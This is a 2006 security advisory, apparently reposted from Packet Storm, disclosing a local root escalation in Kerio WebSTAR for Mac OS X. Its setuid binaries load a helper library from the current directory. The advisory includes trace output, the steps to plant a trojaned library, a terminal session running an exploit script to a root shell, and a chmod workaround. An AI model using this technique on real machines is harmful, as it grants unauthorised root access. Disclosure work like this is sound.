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Posted on 16 November 2006
Source : packetstormsecurity.org Link
DMA[2006-1115a] - 'Kerio WebSTAR local privilege escalation'
Author: Kevin Finisterre
Vendor(s): http://www.kerio.com/webstar_home.html
Product: 'Kerio WebSTAR <= 5.4.2 (?)'
References:
http://www.digitalmunition.com/DMA[2006-1115a].txt
Description:
Kerio WebSTAR is an easy-to-use web server for Mac OS X. Acquired in January 2006 from 4D, Kerio WebSTAR 5 (formerly known as 4D
WebSTAR Server Suite) helps small companies run Internet and intranet websites and integrate them with databases.
Upon installing Kerio WebSTAR you will find that you have inherited two setuid binaries in /Applications
kevin-finisterres-computer:~/Desktop kf$ find /Applications/Kerio WebSTAR -perm -4000 -ls
978790 3016 -rwsrwx--x 1 root admin 1542556 Apr 10 2006 /Applications/Kerio WebSTAR/AdminServer/WSAdminServer
979475 3288 -rwsrwx--- 1 root admin 1679724 Apr 10 2006 /Applications/Kerio WebSTAR/WebServer/WSWebServer
If an attacker is able to gain access to either the webstar user or the admin group, he or she may be able to execute code as
root by abusing the binaries mentioned above. For some odd reason both binaries try to load a helper library from within the current
directory. In most cases this is obviously not a good idea because an attacker can simply provide the application with the trojaned
library of his choice.
kevin-finisterres-computer:~ kf$ /Applications/Kerio WebSTAR/WebServer/WSWebServer
dyld: Library not loaded: libucache.dylib
Referenced from: /Applications/Kerio WebSTAR/WebServer/WSWebServer
Reason: image not found
Trace/BPT trap
kevin-finisterres-computer:~ kf$ /Applications/Kerio WebSTAR/AdminServer/WSAdminServer
dyld: Library not loaded: libucache.dylib
Referenced from: /Applications/Kerio WebSTAR/AdminServer/WSAdminServer
Reason: image not found
Trace/BPT trap
ktrace gives a better look at what is going on...
1183 WSAdminServer CALL open(0x17e8,0,0)
1183 WSAdminServer NAMI "libucache.dylib"
1183 WSAdminServer RET open -1 errno 2 No such file or directory
1183 WSAdminServer CALL close(0xffffffff)
...
1183 WSAdminServer CALL open(0xbfffea90,0,0)
1183 WSAdminServer NAMI "/var/root/lib/libucache.dylib"
1183 WSAdminServer RET open -1 errno 2 No such file or directory
1183 WSAdminServer CALL close(0xffffffff)
1183 WSAdminServer RET close -1 errno 9 Bad file descriptor
1183 WSAdminServer CALL open(0xbfffea90,0,0)
1183 WSAdminServer NAMI "/usr/local/lib/libucache.dylib"
1183 WSAdminServer RET open -1 errno 2 No such file or directory
1183 WSAdminServer CALL close(0xffffffff)
1183 WSAdminServer RET close -1 errno 9 Bad file descriptor
1183 WSAdminServer CALL open(0xbfffeaa0,0,0)
1183 WSAdminServer NAMI "/usr/lib/libucache.dylib"
1183 WSAdminServer RET open -1 errno 2 No such file or directory
1183 WSAdminServer CALL close(0xffffffff)
Exploitation is pretty cut and dry, change directories to a folder that you can write to, compile your helper library, and
take root.
kevin-finisterres-computer:/tmp kf$ ./kerio_WebSTAR_pwn.pl
Usage: ./kerio_WebSTAR_pwn.pl <target>
Targets:
0 . kerio-webstar-5.4.2-mac.bin - WSAdminServer
1 . kerio-webstar-5.4.2-mac.bin - WSWebServer
kevin-finisterres-computer:/tmp kf$ ./kerio_WebSTAR_pwn.pl 0
*** Target: kerio-webstar-5.4.2-mac.bin - WSAdminServer, Binary: /Applications/Kerio WebSTAR/AdminServer/WSAdminServer
/tmp/kerio_pwn.c: In function 'kerio_pwned':
/tmp/kerio_pwn.c:2: warning: incompatible implicit declaration of built-in function 'exit'
sh-2.05b# id
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 9(procmod), 80(admin)
As mentioned previously you must be in the admin group or be the webstar user in order to exploit this issue. If permissions
have been changed other users may be able to elevate their status to root as well.
kevin-finisterres-computer:~ notadmin$ id
uid=505(notadmin) gid=505(notadmin) groups=505(notadmin)
kevin-finisterres-computer:~ notadmin$ /Applications/Kerio WebSTAR/WebServer/WSWebServer
-bash: /Applications/Kerio WebSTAR/WebServer/WSWebServer: Permission denied
kevin-finisterres-computer:~ notadmin$ /Applications/Kerio WebSTAR/AdminServer/WSAdminServer
-bash: /Applications/Kerio WebSTAR/AdminServer/WSAdminServer: Permission denied
Workaround:
Kerio has been contacted, fixes will be available soon. In the mean time limit access to the admin group and the webstar user.
Please chmod -s /Applications/Kerio WebSTAR/AdminServer/WSAdminServer and /Applications/Kerio WebSTAR/WebServer/WSWebServer
